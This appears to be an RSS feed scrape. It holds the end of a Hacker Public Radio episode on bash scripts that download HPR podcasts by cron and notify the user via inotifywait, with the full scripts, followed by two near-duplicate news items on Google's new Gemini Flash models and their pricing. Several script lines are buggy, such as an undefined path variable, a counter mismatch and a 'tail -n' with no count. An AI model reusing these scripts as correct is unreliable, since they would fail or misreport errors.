    Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

    We have now successfully downloaded at least one HPR podcast.

    41 Notify the User of Events

    It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

    One of the limitations of cron jobs is that they cannot access the user interface.

    This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

    42 inotifywait

    The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

    The man page for inotifywait states the following -

    43

    inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

    End of quote.

    44

    In many Linux distros, inotifywait is provided by the "inotify-tools" package.

    I won't go over all the features of inotifywait.

    Instead, I will just describe how to use it for our purposes here.

    45 inotifywait Modes

    I should point out first though that inotifywait operates in two different modes.

    In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

    In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

    I will use the default mode here.

    46

    The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

    A great many examples that you will find are based on this example.

    However, it doesn't quite do what we want, so we need to change a few things.

    47 podfetchnotify

    The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

    I will call this "podfetchnotify".

    The complete scripts are in the show notes, I will just provide a brief description here.

    48 Setting Up Event Watches Using inotifywait

    The script is enclosed in a while loop which run indefinitely.

    In the first line inside the while loop, we call inotifywait.

    inotifywait will then block until the event it is told to look for occurs.

    In short, execution of the script will wait there until an event occurs.

    49

    The names of the events are listed in the man file.

    In this case we are looking for "modify", "create", and "moved_to".

    Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

    50 Problems When Testing Using Text Editors

    I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

    Instead it treats this as a new file with the same name, with the original file being erased.

    Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

    If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

    51 Capturing Output

    In my example I capture the output from standard out into a variable, but I don't do anything with it.

    If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

    There are details about this in the man page.

    On the next line we capture the exit code using "$?"

    52 Responding to Exit Codes

    If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

    In this case we display a message indicating that a new podcast has arrived.

    I will describe how to send notifications shortly.

    If the exit code was not zero, then an error occurred.

    An example of such an error would be if the directory were not present when monitoring was started.

    In this case we display a message indicating that a fatal error has occurred and then exit.

    53 Delay for More Podcasts

    Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

    In this case I chose to wait for 60 seconds.

    54

    We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

    55 Sending Notifications to the User

    I mentioned above about sending notification messages to the user.

    In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

    Other desktops or operating systems may have something similar.

    56

    To send a notification message to the notification area, you use the "notify-send" command.

    Simply follow notify-send with a quoted string and it will be displayed in the notification area.

    57 podfetcherrornotify

    The second shell script is one which notifies the user of errors.

    I will call this "podfetcherrornotify".

    With this shell script we set up a watch on a file which contains any error messages from podfetch.

    This script is very similar to podfetchnotify.

    58

    The exceptions are

    With inotifywait we only monitor for "modify".

    There is no sleep command at the end of the loop.

    Instead we sleep for a few seconds just after getting the exit code from inotifywait.

    This helps prevent problems caused by race conditions.

    59

    Next we check the inotifywait exit code.

    If it was zero, then we read the error report file and send a notification message to the user containing that error message.

    60

    If it was not zero, then we check to make sure that the directory that should contain the error log exists.

    If it does not exist, then we send a notification message to that effect to the user and terminate the script.

    61

    If the directory exists, then we check to see if the error message file used for signalling exists.

    If the file does not exist, then we create it.

    62

    One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

    By creating the file we correct the cause of the error and allow inotifywait to operate normally.

    63

    Finally we increment an error counter and check to see if the limit is exceeded.

    If there are excessive errors, then send a notification message to the user and exit.

    The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

    64

    The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

    Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

    65 Installing the Scripts

    Next I will describe how to install and prepare the scripts to run.

    We need to perform the following steps.

    66

    ‱ First, we need to create a directory to hold the scripts and their associated data files.

    ‱ Next we need to create a directory to hold the downloaded podcasts.

    ‱ Then we must copy the scripts to these directories and make them executable.

    ‱ Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

    67

    ‱ Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

    ‱ Then we need to run each script manually from the command line to check for errors.

    ‱ If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

    68 Adding podfetch to the Crontab

    The above describes how to run the scripts manually.

    In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

    To do this, open a terminal.

    69

    Type "crontab -e", and then press return.

    A text editor should open up containing the crontab file.

    On Ubuntu, this editor is GNU nano.

    Enter the appropriate cron parameters.

    I will provide an example here for running it 12 minutes past the hour every three hours.

    70

    12 */3 * * * /home/username/pathtofiles/podfetch.sh

    71

    I won't explain cron in detail here.

    The example that I have just given should be good enough for most people.

    The "*/3" parameter will cause it to run every three hours.

    The "12" parameter will cause it to run 12 minutes past the hour when it does run.

    72

    Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

    I would recommend however that you don't check more frequently than once per hour.

    Checking more frequently than necessary puts extra load on the distribution servers.

    It is very unlikely that you really do need each new episode the moment it is available.

    73

    I would also recommend changing the "12" parameter to some other random minute value.

    I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

    74

    The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

    75 Making the Notification Scripts Start Automatically

    The two notification scripts can be made to start automatically.

    The exact method to do this may vary according to distribution or desktop.

    76

    On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

    77

    I won't go into details on this here, it should be fairly self evident how to use it once you see it.

    What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

    78

    These ".desktop" files are all run automatically on start up.

    Once you have added the notification scripts, you will need to log out and then log back in to make them active.

    79 Conclusion

    I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

    80

    The download script described here is tailored specifically for use with HPR only.

    However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

    If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

    81

    In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

    I look forward to seeing you again later on another episode of Hack Public Radio.

    # ======================================================================

    podfetchdownloader

    #!/bin/bash

    # Fetch pending HPR podcasts listed in the HPR RSS feed.

    # 8-Jun-2026

    # Licensed under GPLv3 or later.

    # ======================================================================

    # Today's date and time as YYYYMMDDHHMMSS.

    podttimestamp=$( date +"%Y%m%d%H%M%S" )

    # The absolute path to the script. This is necessary when running it

    # using a cron job.

    podpath="/home/me/Apps/hprfetch"

    # This is the absolute path to where to store the podcast files.

    podfilepath="/home/me/Music/Podcasts/HPR"

    # Create the full path names here for all the text files used.

    podcastsfetched="$podpath/podcastsfetched.txt"

    poderrorslog="$podpath/poderrorslog.txt"

    poderrorsreport="$podpath/poderrorsreport.txt"

    tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

    tmppodsnew="$podpath/tmppodsnew.txt"

    tmppodstodownload="$podpath/tmppodstodownload.txt"

    tmppodserrors="$podpath/tmppodserrors.txt"

    tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

    tmplog="$podpath/tmplog.txt"

    # The URL for the HPR RSS feed.

    PodURL="http://hackerpublicradio.org/hpr_rss.php"

    # Limit on number of podcasts to download.

    DownloadLimit=11

    # Name of the podcast.

    PodName="Hacker Public Radio"

    # ======================================================================

    # Check if the required paths exist.

    # If this path does not exist, cannot log the error.

    if [[ ! -d "$podpath/" ]]; then

    echo "$podttimestamp Error - Could not find $podfilepath."

    exit 1

    fi

    # Where to store the podcast file fetched.

    if [[ ! -d "$podfilepath/" ]]; then

    echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

    # Copy the errors log from the temporary errors file to the permanent files.

    LogErrors

    exit 1

    fi

    # ======================================================================

    # Check if the podcast log exists. We read it before we write to it,

    # so it must exist or we will hang on it not being present.

    if [[ ! -e $podcastsfetched ]]; then

    touch $podcastsfetched

    fi

    # ======================================================================

    # Delete the specified files if they exist.

    # This accepts multiple file names in a variable number of parameters.

    CleanupFiles ()

    {

    # $@ accepts multiple parameters.

    for f in "$@"; do

    # Check if the file exists.

    if [ -e "$f" ]; then

    rm "$f"

    fi

    done

    }

    # ======================================================================

    # Copy the errors log from the temporary errors file to the permanent files.

    LogErrors () {

    if [ -e $tmppodserrors ]; then

    # The permanent log.

    cat $tmppodserrors >> $poderrorslog

    # This file is monitored for display by other scripts.

    cat $tmppodserrors > $poderrorsreport

    fi

    }

    # ======================================================================

    # Get the URL data from an RSS feed

    GetRSSURLData () {

    wget --timeout=20 --tries=3 -O - "$PodURL" \

    | xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

    | sort > $tmppodsnew

    # This is an alternate method that does not use xmllint.

    # However, it is not as robust. If someone were to include the

    # first grep search pattern in their show notes, then it would

    # look for that as a valid tag and output the following text

    # as a URL.

    #wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

    # | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

    # | cut -d'"' -f2 | sort > $tmppodsnew

    }

    # ======================================================================

    # Find which podcasts we do not already have.

    FindNewPodcasts () {

    cat $podcastsfetched | sort > $tmpoldurlssorted

    comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

    rm $tmpoldurlssorted

    }

    # ======================================================================

    # Download the podcasts.

    DownloadPodcasts() {

    # Clear out previous temporary list of downloaded podcasts.

    true > $tmppodcastsfetched

    for i in $( cat $tmppodstodownload )

    do

    # Extract the file name from the URL.

    fname=$( basename $i )

    outputpodname="$podfilepath/$fname"

    # Download the file.

    wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

    # Check if the file exists and is not empty.

    if [[ -s "$outputpodname" ]]; then

    echo $i >> $tmppodcastsfetched

    else

    echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

    fi

    # Delay a reasonable length of time between multiple downloads.

    if (( $PodCount > 1 )); then

    sleep 3

    fi

    done

    # Add the list of files downloaded to the log.

    # Check if the list exists and is not empty.

    if [ -s $tmppodcastsfetched ]; then

    cat $tmppodcastsfetched >> $podcastsfetched

    # Trim the log file to keep it from growing indefinitely.

    tail -n50 $podcastsfetched > $tmplog

    mv $tmplog $podcastsfetched

    fi

    # Remove the tmp file now that we are done with it.

    rm $tmppodcastsfetched

    }

    # ======================================================================

    # Clean up any left over files.

    CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

    # Get the RSS data.

    GetRSSURLData

    # Find which podcasts are new.

    FindNewPodcasts

    # Count how many new podcasts there are.

    PodCount=$( cat $tmppodstodownload | wc -l )

    # If no podcasts to download, skip this.

    # If too many podcasts for this feed, then log an error and skip.

    # This error will keep repeating until something is done about it.

    if (( $PodCount > 0 )); then

    if (( $PodCount > $DownloadLimit )); then

    echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

    else

    # Download the podcasts listed in the temp file.

    DownloadPodcasts

    fi

    fi

    # ======================================================================

    # Copy the errors log from the temporary errors file to the permanent files.

    LogErrors

    # Clean up temp files.

    CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

    # ======================================================================

    END OF FIRST SHELL SCRIPT

    START OF SECOND SHELL SCRIPT

    podfetchnotify

    #!/bin/bash

    # Part of Podfetch.

    # This monitors for new files appearing in the new podcasts directory.

    # This should be run as a background task.

    # Install it using the "Startup Applications" utility in Ubuntu.

    # ======================================================================

    # Path where new podcasts are to be stored.

    podfilepath="/home/me/Music/Podcasts/HPR"

    # ======================================================================

    # Wait for the podcast directory to be modified.

    while true; do

    # Check for new files.

    errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

    result=$?

    # Check if exited due to new podcast, or if some error.

    if (( result == 0 )); then

    # Success, signal new podcast.

    notify-send "New HPR podcast available."

    else

    # Check to make sure the directory exists.

    # If it doesn't exist, there isn't much we can do to fix it.

    if [ ! -e "$poderrorspath" ]; then

    notify-send "Podfetch error: Podcast directory not found $poderrorspath"

    exit 1

    fi

    fi

    # Wait a bit so that multiple new files don't keep re-triggering the notification.

    sleep 60

    done

    # ======================================================================

    END OF SECOND SHELL SCRIPT

    START OF THIRD SHELL SCRIPT

    podfetcherror

    Created Tuesday 23 June 2026

    #!/bin/bash

    # Part of Podfetch.

    # This monitors the Podfetch error reporting file for new errors.

    # This should be run as a background task.

    # Install it using the "Startup Applications" utility in Ubuntu.

    # ======================================================================

    # Where the Podfetch program error report file is located.

    poderrorspath="/home/me/Apps/hprfetch"

    # The full path and file name.

    poderrorsreport="$poderrorspath/poderrorsreport.txt"

    # ======================================================================

    # Error counter.

    errcount=0

    # Wait for the poderrorsreport file to be modified.

    while true; do

    errmsg=$( inotifywait -e modify $poderrorsreport )

    result=$?

    # Wait a bit to ensure that writing to the file is complete.

    sleep 3

    if (( result == 0 )); then

    # Get the latest error message.

    # Cut out the date stamp at the start of the line and take the rest.

    poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

    notify-send "Podfetch error: $poderr"

    # Reset the error counter every time there is a successful result.

    errcount=0

    else

    # Check to make sure the directory exists.

    if [ ! -e "$poderrorspath" ]; then

    notify-send "Podfetch error: error report path not found $poderrorspath"

    exit 1

    fi

    # Check if the file we are trying to monitor exists.

    # If not, then create an empty file for error signaling.

    if [ ! -e "$poderrorsreport" ]; then

    echo > $poderrorsreport

    fi

    # Increment the error counter.

    count=$(( count + 1 ))

    if (( count > 3 )); then

    notify-send "Podfetch error: Excessive unknown errors, exiting."

    exit 1

    fi

    fi

    done

    # ======================================================================

    Provide feedback on this episode.

    ]]>         <![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 23:33:56 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

    The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

    Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

    VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

    Model

    Input ($/1M)

    Output ($/1M)

    Total ($/1M)

    Source

    MiMo-V2.5 Flash

    $0.10

    $0.30

    $0.40

    Xiaomi

    deepseek-v4-flash

    $0.14

    $0.28

    $0.42

    DeepSeek

    deepseek-v4-pro

    $0.435

    $0.87

    $1.305

    DeepSeek

    MiniMax-M3

    $0.30

    $1.20

    $1.50

    MiniMax

    LongCat-2.0 — limited-time promo

    $0.30

    $1.20

    $1.50

    LongCat

    Gemini 3.1 Flash-Lite

    $0.25

    $1.50

    $1.75

    Google

    Qwen3.7-Plus

    $0.40

    $1.60

    $2.00

    Alibaba Cloud

    MiMo-V2.5

    $0.40

    $2.00

    $2.40

    Xiaomi

    Gemini 3.5 Flash-Lite

    $0.30

    $2.50

    $2.80

    Google

    LongCat-2.0 — standard

    $0.75

    $2.95

    $3.70

    LongCat

    MiMo-V2.5 Pro (≀256K)

    $1.00

    $3.00

    $4.00

    Xiaomi

    GLM-5.2

    $1.40

    $4.40

    $5.80

    Z.ai

    GPT-5.6 Luna

    $1.00

    $6.00

    $7.00

    OpenAI

    Grok 4.5

    $2.00

    $6.00

    $8.00

    xAI

    MiMo-V2.5 Pro (>256K)

    $2.00

    $6.00

    $8.00

    Xiaomi

    Gemini 3.6 Flash

    $1.50

    $7.50

    $9.00

    Google

    Qwen3.7-Max

    $2.50

    $7.50

    $10.00

    Alibaba Cloud

    Gemini 3.5 Flash

    $1.50

    $9.00

    $10.50

    Google

    Gemini 3.1 Pro Preview (≀200K)

    $2.00

    $12.00

    $14.00

    Google

    GPT-5.6 Terra

    $2.50

    $15.00

    $17.50

    OpenAI

    GPT-5.4

    $2.50

    $15.00

    $17.50

    OpenAI

    Kimi K3

    $3.00

    $15.00

    $18.00

    Moonshot AI

    Gemini 3.1 Pro Preview (>200K)

    $4.00

    $18.00

    $22.00

    Google

    Claude Opus 4.8

    $5.00

    $25.00

    $30.00

    Anthropic

    GPT-5.5

    $5.00

    $30.00

    $35.00

    OpenAI

    GPT-5.5 Instant (chat-latest)

    $5.00

    $30.00

    $35.00

    OpenAI

    Sakana Fugu Ultra (≀272K)

    $5.00

    $30.00

    $35.00

    Sakana AI

    GPT-5.6 Sol

    $5.00

    $30.00

    $35.00

    OpenAI

    Claude Fable 5 / Claude Mythos 5

    $10.00

    $50.00

    $60.00

    Anthropic

    No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

    While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

    Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

    As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

    One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

    Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

    Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

    If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

    Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

    Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

    In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

    This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

    When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

    While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

    The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

    Respectable benchmark performance at low cost

    The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

    It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

    The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

    To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

    The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

    Models for low-cost coding, agentic, and cybersecurity use cases — respectively

    Google divided its new offerings into three distinct products tailored for different operational needs.

    Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

    The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

    Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

    As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

    Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

    Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

    The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

    The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

    In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

    Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

    Commercial licensing only

    The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

    An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

    This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

    The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

    In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

    Looking ahead

    Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

    Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

    Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

    ]]>         <![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 22:56:46 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

    The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

    Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

    VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

    Model

    Input ($/1M)

    Output ($/1M)

    Total ($/1M)

    Source

    MiMo-V2.5 Flash

    $0.10

    $0.30

    $0.40

    Xiaomi

    deepseek-v4-flash

    $0.14

    $0.28

    $0.42

    DeepSeek

    deepseek-v4-pro

    $0.435

    $0.87

    $1.305

    DeepSeek

    MiniMax-M3

    $0.30

    $1.20

    $1.50

    MiniMax

    LongCat-2.0 — limited-time promo

    $0.30

    $1.20

    $1.50

    LongCat

    Gemini 3.1 Flash-Lite

    $0.25

    $1.50

    $1.75

    Google

    Qwen3.7-Plus

    $0.40

    $1.60

    $2.00

    Alibaba Cloud

    MiMo-V2.5

    $0.40

    $2.00

    $2.40

    Xiaomi

    Gemini 3.5 Flash-Lite

    $0.30

    $2.50

    $2.80

    Google

    LongCat-2.0 — standard

    $0.75

    $2.95

    $3.70

    LongCat

    MiMo-V2.5 Pro (≀256K)

    $1.00

    $3.00

    $4.00

    Xiaomi

    GLM-5.2

    $1.40

    $4.40

    $5.80

    Z.ai

    GPT-5.6 Luna

    $1.00

    $6.00

    $7.00

    OpenAI

    Grok 4.5

    $2.00

    $6.00

    $8.00

    xAI

    MiMo-V2.5 Pro (>256K)

    $2.00

    $6.00

    $8.00

    Xiaomi

    Gemini 3.6 Flash

    $1.50

    $7.50

    $9.00

    Google

    Qwen3.7-Max

    $2.50

    $7.50

    $10.00

    Alibaba Cloud

    Gemini 3.5 Flash

    $1.50

    $9.00

    $10.50

    Google

    Gemini 3.1 Pro Preview (≀200K)

    $2.00

    $12.00

    $14.00

    Google

    GPT-5.6 Terra

    $2.50

    $15.00

    $17.50

    OpenAI

    GPT-5.4

    $2.50

    $15.00

    $17.50

    OpenAI

    Kimi K3

    $3.00

    $15.00

    $18.00

    Moonshot AI

    Gemini 3.1 Pro Preview (>200K)

    $4.00

    $18.00

    $22.00

    Google

    Claude Opus 4.8

    $5.00

    $25.00

    $30.00

    Anthropic

    GPT-5.5

    $5.00

    $30.00

    $35.00

    OpenAI

    GPT-5.5 Instant (chat-latest)

    $5.00

    $30.00

    $35.00

    OpenAI

    Sakana Fugu Ultra (≀272K)

    $5.00

    $30.00

    $35.00

    Sakana AI

    GPT-5.6 Sol

    $5.00

    $30.00

    $35.00

    OpenAI

    Claude Fable 5 / Claude Mythos 5

    $10.00

    $50.00

    $60.00

    Anthropic

    No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

    While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

    Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

    As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

    One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

